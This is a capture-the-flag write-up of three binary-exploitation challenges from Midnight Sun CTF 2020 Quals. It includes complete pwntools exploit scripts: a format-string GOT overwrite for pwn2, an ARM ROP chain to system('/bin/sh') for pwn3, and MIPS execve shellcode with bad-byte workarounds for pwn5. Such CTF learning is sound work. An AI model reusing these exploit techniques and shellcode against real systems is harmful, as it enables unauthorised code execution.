Introduction
This weekend we played the Midnight Sun CTF 2020 Quals. There were a lot of nice challenges and good amount of pwnables, it was something we expected, as the organizers of the event are the ones which runs Pwny Racing.
In this write-up I am going to show how I solved the challenges pwn2, pwn3 and pwn5. I won’t go into too much detail, as the write-up would be too long.
pwn2
There’s not much to talk about this challenge, it was a pretty 32 bit binary and they gave us the libc too.
$ file pwn2
pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=5f206b596336ac6063433395e3fa740a86b57d30, stripped
Let’s look at his main function:
void __cdecl __noreturn main(int a1)
{
char s[4]; // [esp+0h] [ebp-4Ch]
char v2; // [esp+4h] [ebp-48h]
unsigned int v3; // [esp+40h] [ebp-Ch]
int *v4; // [esp+44h] [ebp-8h]
v4 = &a1;
v3 = __readgsdword(0x14u);
*(_DWORD *)s = 0;
memset(&v2, 0, 0x3Cu);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x3Cu);
sub_80485B6();
printf("input: ");
fgets(s, 64, stdin);
printf(s); # format string here
exit(0);
}
So, we can easily spot the format string vulnerability when printf
is executed with our input.
As the binary closes after the printf, the first thing we need is to create a infinite loop
, later we can leak the address of libc later and finally get RIP control.
To create the infinite loop, we write the main address function at exit GOT:
payload = p32(0x0804b020) # exit GOT
payload += b'AAAA' # for align
payload += b'%34285c%7$hn'
Then we leak the libc:
payload = b'%x.%x'
And finally we get RIP control by writing system
at printf GOT:
payload = p32(0x0804b00c)
payload += p32(0x0804b00c + 2)
payload += f'%{low}c%7$hn'.encode()
payload += f'%{diff}c%8$hn'.encode()
The full exploit is below:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
HOST, PORT = 'pwn2-01.play.midnightsunctf.se', 10002
libc = ELF('./libc.so.6')
pa = lambda x : info('%#x', x)
p = remote(HOST, PORT)
payload = p32(0x0804b020) # exit GOT
payload += b'AAAA' # for align
payload += b'%34285c%7$hn'
p.sendlineafter('input:', payload)
# leak libc
payload = b'%x.%x'
p.sendlineafter('input:', payload)
leak = p.recvline().strip().split(b'.')[1] #stdin leak
stdin = int(b'0x' + leak, 16)
libc_base = stdin - 0x001D55C0
pa(stdin)
pa(libc_base)
system = libc_base + libc.sym['system']
high = system >> 16
low = (system & 0xffff) - 8 # align stuff
diff = (high - low) - 8 # align stuff
pa(system)
# pwn -> write system at printf GOT
payload = p32(0x0804b00c)
payload += p32(0x0804b00c + 2)
payload += f'%{low}c%7$hn'.encode()
payload += f'%{diff}c%8$hn'.encode()
p.sendlineafter('input:', payload)
p.interactive()
pwn3
This one was a pretty simple 32 bit arm binary:
$ file pwn3
pwn3: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=46d0723fb9ff9add7b00860a2382f32656a04700, stripped
Honestly, I don’t remember having pwned a binary of this architecture before, probably this was the first one.
As the binary is stripped, we don’t have the symbols. Let`s the a look at the main function code:
int sub_102FC()
{
int v0; // r0
int v2; // [sp+0h] [bp+0h]
int v3; // [sp+4h] [bp+4h]
v2 = 0;
sub_1FDB0(&v3, 0, 124);
sub_155C0(off_6F4BC, 0, 2, 0);
sub_155C0(off_6F4B8, 0, 2, 0);
v0 = sub_2120C(60);
sub_102E4(v0);
sub_14D00("buffer: ");
sub_152A4(&v2, 512, off_6F4BC); # read
return 0;
}
The important thing is sub_152A4
, it reads 512 bytes into 0x0006F4BC
. When we send more than 140 bytes, we overflow the return address and RIP control.
As the binary is statically linked and it is not PIE, we don’t need to leak the function addresses, system
and /bin/sh
are already there.
Now, we need to gather the pieces to create our ROP chain. First, let’s grab the system
address. The function sub_102E4
is responsible by showing a nice banner, let’s look at his source code:
int sub_102E4()
{
return sub_14B5C("cat ./banner.txt");
}
Does this looks suspicious? Let’s see what strace
can tell us:
...
rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
wait4(1832, cat: ./banner.txt: No such file or directory
[{WIFEXITED(s) && WEXITSTATUS(s) == 1}], 0, NULL) = 1832
...
Awesome! The function calls system. Now we have the first piece: system address (0x14b5c).
So far, so good. In order to get the /bin/sh
address, we can run ROPgadget with --string
argument:
$ ROPgadget --binary ./pwn3 --string /bin/sh
Strings information
============================================================
0x00049018 : /bin/sh
And finally, we just need to add an gadget
to setup the registers to get RIP control. The first argument of the function goes into r0
and the function itself goes into pc
.
$ ROPgadget --binary ./pwn3 --only "pop"
...
0x0001fb5c : pop {r0, r4, pc}
...
The above gadget is perfect, we’ll put /bin/sh
into r0
and system
into pc
, r4
can be filled with anything. The full exploit is below:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
HOST, PORT = 'pwn3-01.play.midnightsunctf.se', 10003
p = remote(HOST, PORT)
pop_r0_r4_pc = 0x0001fb5c # pop {r0, r4, pc}
system = 0x14b5d
binsh = 0x00049018
payload = b'A' * 140
payload += p32(pop_r0_r4_pc)
payload += p32(binsh)
payload += p32(0xcafe)
payload += p32(system)
p.sendlineafter('buffer:', payload)
p.interactive()
pwn5
Well, I don’t know if this one was meant to be hard or if I was too noob. But I spent a long time working on the exploit. This was a MIPS binary and, just like the ARM one, I never exploited such thing.
$ file pwn5
pwn5: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=b1c60e54fa5e5029ba807ff7bf3e9741249e5a5e, stripped
Besides it being of a weird architecture to me, it was stripped, which made the things more difficult.
The vulnerability itself was a simple buffer overflow, when we ran the binary, it asks for an input. If we send more than 68 bytes, we get RIP control.
Another important thing was that NX was disabled in the binary, so, we could execute shellcode on the stack. However, ASLR was enabled.
My first idea was straightforward, overflow the buffer and jump into my shellcode, something like jmp esp
. As mentioned before, the binary was stripped, when I ran ROPgadget to get the list, I had a lot of gadgets, which made me really confused about which one to use.
Now, let’s walk through the ROP chain that I built to solve the challenge.
First thing, let’s add the 68 bytes needed to fullfill the buffer:
payload = b'A' * 68
Next thing, I had to figure out an way to jmp to my shellcode. I spent a long time on trial and error. Some hours later, I found 2 gadgets that solved the problem:
0x0044b1d8 : addiu $v0, $sp, 0x16c ; addiu $s4, $sp, 0x4c ; sw $a0, 0x44($sp) ; addiu $s5, $zero, 5 ; sw $v1, 0x2c($sp) ; sw $v0, 0x50($sp) ; lw $t9, 0x30($sp) ; move $a0, $s0 ; jalr $t9 ; sw $s2, 0x4c($sp)
0x0046ac54 : move $t9, $v0 ; jalr $t9 ; nop
The first gadget (0x0044b1d8
) allows me control $v0
, besides, I control $t9
too, which was necessary to keep control over the execution. So, $v0
will point to the start
of the shellcode in stack, thus, when jalr $t9
executes in the second gadget, it will jump to our shellcode.
And here’s our payload so far:
shellcode = b'\xff\xff\x06\x28\x2f\x2f\x0f\x3c\x69\x62\xef\x35\xf4\xff\xaf\xaf\x2f\x6e\x0e\x3c\x68\x73\xce\x35\xf8\xff\xa0\xaf\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xff\xff\x05\x28\xab\x0f\x02\x24'
payload = b'A' * 68
payload += b'\xd8\xb1\x44\x00' # first gadget
payload += b'/bin/sh\x00' # it will be important later
payload += b'A' * 40
payload += b'\x54\xac\x46\x00' # second gadget
payload += b'A' * 316
payload += shellcode
Let’s keep it simple and use this nice shellcode shellcode from shell-storm.
The payload above should give us a nice shell and we could read the sweet flag, turns out that it didn’t worked! And here comes another detail about this challenge:
There was some bytes that were breaking the payload: 0x20, 0xc
and maybe more. If you look carefully, the syscall
instruction contains 0xc
! After digging a bit more, I figured out that you can execute syscall
in several ways. Then, I changed the last instruction in the shellcode to syscall 0x12875
(\x4c\x1d\x4a\x00), which was enough to bypass the characters restriction.
Now let’s send to the server and get that flag.
Boom! Illegal instruction :(
I fired up gdb and started the debugging to find out where the shellcode was crashing. In mips architecture, the arguments to syscall goes in a0, a1, a2
. Turns out that a2
was pointing to 0x1
, so, as we need to call execve
, a0
must points to /bin/sh
, a1
and a2
must be null. Another wrong stuff, it was that a0
wasn’t pointing to /bin/sh
, it was pointing to an wrong string. This was happening because the shellcode was dealing with stack
offsets. As I was just too tired, I didn’t thought about fixing the shellcode, instead, I added two more instructions to fix the above issues:
addiu $a0, $sp, 0
li $a2, 0
The first instruction (addiu $a0, $sp, 0
) is responsible to make a0
points to the beggining of the stack. Turns out that the stack was pointing to from the 72th byte of our payload. This is the reason that we wrote /bin/sh
in our payload. The next instruction (li $a2, 0
) is responsible to set $a2
to null. Now our payload is complete:
shellcode = b'\xff\xff\x06\x28\x2f\x2f\x0f\x3c\x69\x62\xef\x35\xf4\xff\xaf\xaf\x2f\x6e\x0e\x3c\x68\x73\xce\x35\xf8\xff\xa0\xaf\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xff\xff\x05\x28\xab\x0f\x02\x24'
payload = b'A' * 68
payload += b'\xd8\xb1\x44\x00' # first gadget
payload += b'/bin/sh\x00' # command to be executed
payload += b'A' * 40
payload += b'\x54\xac\x46\x00' # second gadget
payload += b'A' * 316
payload += shellcode
payload += b'\x00\x00\xa4\x27' # fix $a0
payload += b'\x00\x00\x06\x24' # fix $a2
payload += b'\x4c\x1d\x4a\x00' # syscall
Now you just need to save it to a file and pipe into nc:
cat payload - | nc pwn5-01.play.midnightsunctf.se 10005
I couldn’t show the exploit in action, because in the time of this writing, the challenge was offline.
Final words
CTF was really cool, thanks again to the organizers. I couldn’t play for a long time because the event started during office hours here in Brazil.